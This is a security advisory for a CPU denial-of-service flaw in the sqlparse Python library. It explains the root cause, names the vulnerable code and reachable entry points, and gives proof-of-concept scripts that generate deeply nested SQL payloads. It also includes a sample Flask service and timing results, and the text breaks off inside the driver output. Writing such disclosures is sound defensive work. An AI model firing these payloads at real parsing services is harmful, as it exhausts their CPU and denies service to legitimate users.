GHSA-pwgv-4x5q-6m9f sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger

• PyPI sqlparse: < 0.6.0 → fixed in 0.6.0

Summary `sqlparse` ships hard limits (`MAX_GROUPING_DEPTH=100`, `MAX_GROUPING_TOKENS=10000`) intended to bound parsing work on attacker-supplied SQL, but the path that *reaches* those limits is itself `O(n*depth)` per token-group construction. A ~1-2 KB SQL payload (e.g. `SELECT (((((1))))) ...` with 500-2000 nesting levels, or a 200-400-level nested `CASE WHEN` chain) drives the parser to spend multiple seconds of CPU before the depth cap raises `SQLParseError`. Concretely: a 2 KB malicious payload consumes ~10 seconds of CPU per request on a single worker (~5000x CPU-to-input amplification), while a benign 1 KB SQL completes in ~3 ms. The root cause is `TokenList.__init__` calling `super().__init__(None, str(self))`. `TokenList.__str__` flattens the entire subtree on every call, and grouping constructs a new `TokenList` for every parenthesis / CASE / list group, so a tree of depth `d` with `n` total tokens performs `O(n*d)` flatten work just to materialize the cached `value` field, which is then never read for grouped nodes (they override `__str__`). This is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to *trigger* the caps is itself superlinear in payload size. Affected components `sqlparse` 0.5.5 (latest) and every prior version that ships `TokenList.__init__`. The offending line has existed since the introduction of the cached-value invariant; the recent DoS-protection commit (`da67ac1`, 2025-12-08) added depth + token caps to `_group_matching` / `_group` but left the per-node `str(self)` materialization untouched. Vulnerable code (file:line) `sqlparse/sql.py#L162` (release 0.5.5) / `sqlparse/sql.py#L167` (current `master`): ```python class TokenList(Token): __slots__ = 'tokens' def __init__(self, tokens=None): self.tokens = tokens or [] [setattr(token, 'parent', self) for token in self.tokens] super().__init__(None, str(self)) # ← O(subtree) work per group self.is_group = True def __str__(self): return ''.join(token.value for token in self.flatten()) ``` `__str__` recurses via `flatten()` over the *entire* subtree below `self`. Every `TokenList` constructed during grouping (every `Parenthesis`, `Case`, `IdentifierList`, etc.) runs this on its current children, which themselves recursively call `flatten()`. For grouping that builds a tree of depth `d` containing `n` tokens, the construction cost is `O(n * d)`. The grouping pipeline that triggers it lives at `sqlparse/engine/grouping.py#L80` (`group_parenthesis`) and `sqlparse/engine/grouping.py#L84` (`group_case`). Both call `_group_matching` which builds nested `Parenthesis` / `Case` `TokenList` instances bottom-up. Reachable / How input reaches the sink `sqlparse.parse(sql)`, `sqlparse.format(sql, reindent=True)`, and `sqlparse.split(sql)` are the documented entry points and all flow into `engine/filter_stack.py:run` → `engine/grouping.py:group` → `group_parenthesis` / `group_case`. There is no opt-in flag: the quadratic runs on default configuration whenever attacker-controlled SQL contains nested parentheses, nested `CASE WHEN`, nested subqueries, or nested `ARRAY[]` literals. Real-world consumers that feed user input directly into these entry points include any SQL formatter web service (the `sqlformat.org`-style class of tools), Django's `format_debug_sql` (`django/db/backends/base/operations.py`) used when a debug toolbar shows user-typed SQL, and downstream metadata libraries such as `sql-metadata` (`Parser(sql).columns` triggers the same O(n*d) path and reproduces the multi-second hang on the same inputs). Proof of concept Minimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden): ```python import sqlparse, time, signal def _h(s, f): raise TimeoutError() signal.signal(signal.SIGALRM, _h) def measure(label, sql, fn): signal.alarm(30) t0 = time.perf_counter() status = 'OK' try: fn(sql) except sqlparse.exceptions.SQLParseError: status = 'CAP' except TimeoutError: status = 'TIMEOUT' finally: signal.alarm(0) dt = (time.perf_counter() - t0) * 1000 print(f' {status:8} {dt:8.1f}ms {label} ({len(sql)} B)') Vector 1: deeply nested parentheses for n in (200, 500, 1000, 2000): sql = 'SELECT ' + '(' * n + '1' + ')' * n measure(f'nested-paren n={n}', sql, sqlparse.parse) Vector 2: deeply nested CASE WHEN for n in (100, 200, 400): case = '1' for i in range(n): case = f'CASE WHEN x={i} THEN {case} ELSE NULL END' measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse) ``` Output on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core): ``` CAP 80.7ms nested-paren n=200 (408 B) CAP 1342.9ms nested-paren n=500 (1008 B) CAP 11206.9ms nested-paren n=1000 (2008 B) TIMEOUT >10000ms nested-paren n=2000 (4008 B) CAP 83.1ms CASE-nested n=100 (3405 B) CAP 559.6ms CASE-nested n=200 (6905 B) CAP 5012.2ms CASE-nested n=400 (13905 B) ``` `cProfile` attribution (nested-paren n=500, 1008 B input, 3.1 s total): ``` ncalls cumtime filename:lineno(function) 501 3.133 sqlparse/sql.py:165(__str__) 501 3.127 {method 'join' of 'str' objects} 252504 3.110 sqlparse/sql.py:166() 42168504 3.079 sqlparse/sql.py:207(flatten) ``` 42 million `flatten()` calls for a 1 KB input. The cap raises at depth 100, but `TokenList.__init__` ran `str(self)` once per group construction and each call walked the partial subtree. End-to-end reproduction (against running consumer) `victim_app.py` (a 50-line Flask formatter, the canonical sqlparse consumer pattern): ```python from flask import Flask, request, jsonify import sqlparse, time app = Flask(__name__) @app.route('/parse', methods=['POST']) def parse_sql(): sql = request.get_data(as_text=True) t0 = time.perf_counter() try: sqlparse.parse(sql) return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)}) except sqlparse.exceptions.SQLParseError as e: return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400 @app.route('/format', methods=['POST']) def format_sql(): sql = request.get_data(as_text=True) t0 = time.perf_counter() formatted = sqlparse.format(sql, reindent=True, keyword_case='upper') return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)}) if __name__ == '__main__': app.run(host='127.0.0.1', port=5099, threaded=False) ``` Driver run (Python 3.9, sqlparse 0.5.5, `threaded=False` so one worker per request): ``` === Baseline (benign payloads) === benign small SQL 8B wire= 8.8ms server= 0.2ms benign 1 KB SQL 220B wire= 4.1ms server= 2.5ms benign flat 500-cols 2902B wire= 91.7ms server= 90.2ms === Malicious payloads (within default caps) === nested-paren n=200 408B wire= 84.0ms server= 82.6ms ok=False nested-paren n=500 1008B wire= 1371.9ms server= 1370.5ms ok=False nested-paren n=1000 2008B wire=10335.3ms server=10333.7ms ok=False nested-paren n=2000 4008B wire=10661.4ms server=10659.6ms ok=False CASE-nested n=400 13905B wire= 5136.4ms server= 5134.7ms ok=…